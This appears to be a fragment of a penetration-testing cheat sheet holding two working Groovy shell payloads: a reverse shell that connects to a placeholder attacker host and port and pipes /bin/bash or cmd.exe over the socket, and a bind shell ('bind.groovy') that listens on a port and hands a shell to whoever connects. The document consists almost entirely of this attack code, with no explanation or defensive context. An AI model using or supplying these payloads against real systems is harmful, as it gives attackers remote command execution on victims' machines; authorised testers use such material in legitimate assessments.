String host ="<LHOST>";int port =<LPORT>;String cmd ="/bin/bash"; // or "cmd.exe" for WindowsProcess p =newProcessBuilder(cmd).redirectErrorStream(true).start();Socket s =newSocket(host, port);InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();OutputStream po = p.getOutputStream(), so = s.getOutputStream();while (!s.isClosed()) {while (pi.available() >0) so.write(pi.read());while (pe.available() >0) so.write(pe.read());while (si.available() >0) po.write(si.read()); so.flush(); po.flush();Thread.sleep(50);try { p.exitValue();break; } catch (Exception e) {}};p.destroy();s.close();
Bind shell:
bind.groovy
int port =<LPORT>;String cmd="/bin/bash"; // or "cmd.exe" for WindowsProcess p =newProcessBuilder(cmd).redirectErrorStream(true).start();Socket s =newjava.net.ServerSocket(port).accept();InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();OutputStream po = p.getOutputStream(), so = s.getOutputStream();while (!s.isClosed()) {while (pi.available() >0) so.write(pi.read());while (pe.available() >0) so.write(pe.read());while (si.available() >0) po.write(si.read()); so.flush(); po.flush();Thread.sleep(50);try { p.exitValue();break; } catch (Exception e) {}};p.destroy();s.close();